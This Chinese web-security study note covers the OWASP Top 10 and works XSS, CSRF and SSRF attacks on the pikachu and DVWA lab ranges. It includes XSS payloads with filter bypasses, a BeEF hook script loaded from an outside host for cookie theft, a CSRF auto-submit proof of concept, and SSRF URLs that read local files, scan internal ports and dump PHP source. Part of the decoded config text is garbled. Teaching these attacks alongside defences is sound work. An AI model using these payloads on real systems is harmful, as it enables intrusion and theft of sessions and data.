OWASP TOP10
OWASP网址:http://ww.owasp.org.cn
A01:失效的访问控制
例如:越权漏洞
案例1:
正常:每个人登录教务系统,只能查询自己的成绩信息
漏洞:张三登录后可以查看自己的成绩 例如:score?stuno=231011;如果张三输入了李四的学号,竟然可已查询李四的成绩 。。 这就属于越权漏洞、也属于失效的访问控制
案例2:
某些文库网站,要想下载相应的文章需要支付费用,我支付并下载了文章1,url=download?article=23123:通过遍历或其他方式获取了文章2的编号、修改url,可以再不支付的情况下,下载文章2. 。 。 这也输入越权漏洞、也属于失效的访问控制
A02:加密机制失效(敏感信息泄露)
2017年类别名称是敏感信息泄露、以漏洞产生的后果命名;2021年以漏洞产生的原因命名
为加密机制失效
案例1:
使用google hacking语法进行敏感信息收集。 除了google以外,一些常见的搜索引擎包括必应、百度也支持google hacking语法
filetype:xls 身份证号
A03:注入
SQL注入、XSS(JS代码)注入、命令注入、代码注入等
A04:不安全设计(2021新漏洞类别)
一个软件项目的生命周期:
需求分析->项目设计->项目实现->项目测试->维护上线->代码审计
安全左移
A05:安全配置错误(合并)
2021的类别包含了2017年的XXE漏洞
A06:自带缺陷和过时的组件(使用含有已知漏洞的组件)
案例1:
很多博客网站,都为注册用户提供了发表文章的功能。其中编写文章内容时,都会使用编辑器组件,方便文章内容的编写,如果网站本身没有漏洞,但是编辑器插件有漏洞,也会给网站带来安全风险
A07:身份识别和身份验证错误(失效的身份认证)
例如:弱口令属于这类漏洞
A08:软件和数据完整性故障(不安全的反序列化)
A09:安全日志和监控故障(不足的日志记录和监控)
A10:SSRF服务器端请求伪造(2021新漏洞类别)
XSS跨站脚本
XSS介绍
XSS分类
持久型也称为存储型
反射型XSS攻击原理
反射型XSS实例
url是get传参
运行结果
基于pikachu靶场的反射性XSS实验
F12,修改文本框长度
在文本框输入:<script>alert(1)</script> ,只要有弹框效果的出现,就说明有XSS漏洞
反射型XSS常见功能点
产品、新闻等搜索框功能,有可能存在反射型XSS
反射型XSS:真实案例:搜索结果"" >> 西安夏溪电子科技有限公司
在文本框输入:<script>alert(1)</script> ,只要有弹框效果的出现,就说明有XSS漏洞
持久型(存储型)XSS攻击原理
持久型XSS概念
持久型XSS实例
结果
持久型XSS常见功能点
逢框必X 只要有输入框,就有可能有XSS漏洞
发表文章、文章评论
商品评价、回复
用餐评价
DOM型XSS原理
DOM型XSS概念
DOM型XSS实例
DVWA账号admin 密码password
弹窗意味着存在该类型漏洞
恶意数据:payload <script>alert(1)</script>
DOM型XSS常见功能点
只要在前端页面中使用了参数,都可能导致DOM型XSS。
反射型XSS和DOM型XSS的对比
不同点:
反射型XSS的恶意参数会发送给服务器,并通过服务器反射回浏览器;
DOM型XSS的恶意参数不会发送给服务器,直接被页面的JS代码使用;
相同点:
两者漏洞利用(攻击)步骤相同。都是先构造恶意链接发送给受害者,引诱受害者点击
payload
为了验证或者测试漏洞利用所写的特殊数据,有时称为payload
<script>alert(1)</script>
以反射型XSS为例,DVWA靶场不同安全等级
Low:
payload : <script>alert(1)</script>
Medium:
过滤代码:$name = str_replace( '<script>', '', $_GET[ 'name' ] );
输入的$name,如果有<script>就替换成’空’
str_replace() 字符串替换函数
针对这个限制,我们采用大小写绕过,因为HTML标签不区分大小写
payload : <SCRIPT>alert(1)</SCRIPT>
High:
过滤代码:$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
无论script哪个字母是大写或小写,都会被替换成空
preg_replace()正则替换
payload : <img src=1 οnerrοr=alert(1)>
故意把路径格式写错,则执行alert(1)
Impossible:
BeEF-XSS攻击实战
BeEF介绍
BeFF原理
BeFF功能介绍
在kali中安装BeFF
- apt-get update
- 执行apt-get install ruby,先安装ruby,beEF是基于ruby语言开发的
apt-get install ruby
- 执行apt-get install beef-xss命令,安装BeEF。
apt-get install beef-xss
4、输入beef-xss命令,启动BeEF
输入一个密码,例如123456后,回车
攻击目标浏览器
将代码<script src="http://192.168.10.224:3000/hook.js"></script> 写入有xss漏洞的服务器
- cookie获取
- 浏览器劫持
3)钓鱼
XSS攻击的防御
- 输入端过滤
使用preg_replace()对特殊字符进行限制
2)输出端过滤
$name = htmlspecialchars($name); 将特殊字符<>做html实体编码转换
- Http only
在前端不允许使用js读取cookie数据
CSRF跨站请求伪造
CSRF介绍
CSRF攻击流程
sessionid(用户信息)向服务器提交是自动的,不需要代码实现
基于pikachu靶场的CSRF实例
1)CSRF---GET
抓取点击submit时的数据包
2)CSRF---POST
3)CSRF_token
Token值每次刷新都不一样,安全性高
快速生成CSRF--POC脚本
<script>
window.οnlοad=function(){
document.getElementById("postsubmit").click();
}
</script>
得到一个结论,从用户角度,操作完之后一定退出登录,再操作其他网站,就可以避免CSRF攻击
但是:从开发者角度出发,即使用户不退出登录,我们也应该对CSRF攻击进行防御,引入CSRFtoken
CSRF防御实例
1)引入CSRF_token(一次性,随机性)
2)REFERER属性
Referer校验,比对HOST地址与数据包发出的地址,如果不同则无法执行后续修改密码的操作
检查数据包中的Referer的值,是否与当前url来自同一个网站
3)曾用密码确认
- 短信邮件确认
CSRF与XSS的区别
利用XSS漏洞可以拿到cookie的数据(sessionid)但是利用CSRF漏洞只是借用了cookie的数据,无法获取cookie的数据(sessionid)
XSS漏洞比CSRF漏洞更危险。甚至对安全要求不严格的网站,会忽略CSRF漏洞
SSRF服务器端请求伪造
SSRF概念
SSRF攻击流程
SSRF场景
都包含url参数
SSRF相关的PHP函数
1)cur_exec()--执行curl命令
Curl是一个工具,工具的功能非常强大,可以完成文件的上传和下载、html页面的访问,同时还支持很多的协议
2)file_get_contents()函数
读取通过参数指定的文件的内容
SSRF危害
SSRF curl漏洞利用
- 正常访问外网
参数是百度的网址
http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com
参数是淘宝的网址
http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.taobao.com
参数是京东的网址
http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.jd.com
- 漏洞利用
参数是windows配置文件
http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/windows/win.ini
参数是内网服务器
http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.10.143
- 探测内网服务器端口/服务信息
21、22、80、3306返回了对应的服务信息、表示端口开放
http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.10.143:21
http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.10.143:2
http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.10.143:80
http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.10.143:3306
6379端口探测没有返回任何信息,表示端口未开放
http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.10.143:6379
结合burpsuite去探测端口
SSRF curl漏洞利用
1)正常访问外网
读取百度首页
http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_fgc.php?file=http://www.baidu.com
2)漏洞利用
读取windows的配置文件
http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_fgc.php?file=c:/windows/win.ini
读取探针文件,返回服务器信息
http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/phpinfo.php
3)读取php源码(只读)
http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_fgc.php
?file=php://filter/read=convert.base64-encode/resource=../../inc/config.inc.php
php伪协议 ../上层路径
base64是编解码 不是加解密
读到的是base64编码后的文件
PD9waHAKLy/lhajlsYBzZXNzaW9uX3N0YXJ0CnNlc3Npb25fc3RhcnQoKTsKLy/lhajlsYDlsYXorr7nva7ml7bljLoKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgnQXNpYS9TaGFuZ2hhaScpOwovL+WFqOWxgOiuvue9rum7mOiupOWtl+espgpoZWFkZXIoJ0NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwovL+WumuS5ieaVsOaNruW6k+i/nuaOpeWPguaVsApkZWZpbmUoJ0RCSE9TVCcsICcxMjcuMC4wLjEnKTsvL+WwhmxvY2FsaG9zdOaIluiAhTEyNy4wLjAuMeS/ruaUueS4uuaVsOaNruW6k+acjeWKoeWZqOeahOWcsOWdgApkZWZpbmUoJ0RCVVNFUicsICdyb290Jyk7Ly/lsIZyb2905L+u5pS55Li66L+e5o6lbXlzcWznmoTnlKjmiLflkI0KZGVmaW5lKCdEQlBXJywgJ3Jvb3QnKTsvL+WwhnJvb3Tkv67mlLnkuLrov57mjqVteXNxbOeahOWvhuegge+8jOWmguaenOaUueS6hui/mOaYr+i/nuaOpeS4jeS4iu+8jOivt+WFiOaJi+WKqOi/nuaOpeS4i+S9oOeahOaVsOaNruW6k++8jOehruS/neaVsOaNruW6k+acjeWKoeayoemXrumimOWcqOivtO+8gQpkZWZpbmUoJ0RCTkFNRScsICdwaWthY2h1Jyk7Ly/oh6rlrprkuYnvvIzlu7rorq7kuI3kv67mlLkKZGVmaW5lKCdEQlBPUlQnLCAnMzMwNicpOy8v5bCGMzMwNuS/ruaUueS4um15c3Fs55qE6L+e5o6l56uv5Y+j77yM6buY6K6kdGNwMzMwNgoKPz4K
解码
<?php
//全局session_start
session_start();
//全局居设置时区
date_default_timezone_set('Asia/Shanghai');
//全局设置默认å—符
header('Content-type:text/html;charset=utf-8');
//定义数æ®åº“连接å‚æ•°
define('DBHOST', '127.0.0.1');//å°†localhost或者127.0.0.1修改为数æ®åº“æœåŠ¡å™¨çš„地å€
define('DBUSER', 'root');//å°†root修改为连接mysql的用户å
define('DBPW', 'root');//å°†root修改为连接mysql的密ç ,如果改了还是连接ä¸ä¸Šï¼Œè¯·å…ˆæ‰‹åŠ¨è¿žæŽ¥ä¸‹ä½ çš„æ•°æ®åº“,确ä¿æ•°æ®åº“æœåŠ¡æ²¡é—®é¢˜åœ¨è¯´ï¼
define('DBNAME', 'pikachu');//自定义,建议ä¸ä¿®æ”¹
define('DBPORT', '3306');//å°†3306修改为mysql的连接端å£ï¼Œé»˜è®¤tcp3306
?>
SSRF漏洞利用实战
SSRF防御
1)禁用不需要的协议
例如仅允许http和https请求
// 1、初始化
$CH = curl_init($URL);
// 2、设置选项
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
// 2.2限制只能使用HTTP/HTTPS协议
curl_setopt($CH,CURLOPT_PROTOCOLS,CURLPROTO_HTTP|CURLPROTO_HTTPS);
// 3、执行命令
$RES = curl_exec($CH);
curl_close($CH) ;
2)对参数使用黑名单或白名单
// 白名单
if($URL!="http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php"){
// 结束程序
die("禁止访问");
}
3)限制请求端口
乌云镜像链接
乌云网镜像丨乌云知识库丨Wooyun镜像丨乌云漏洞平台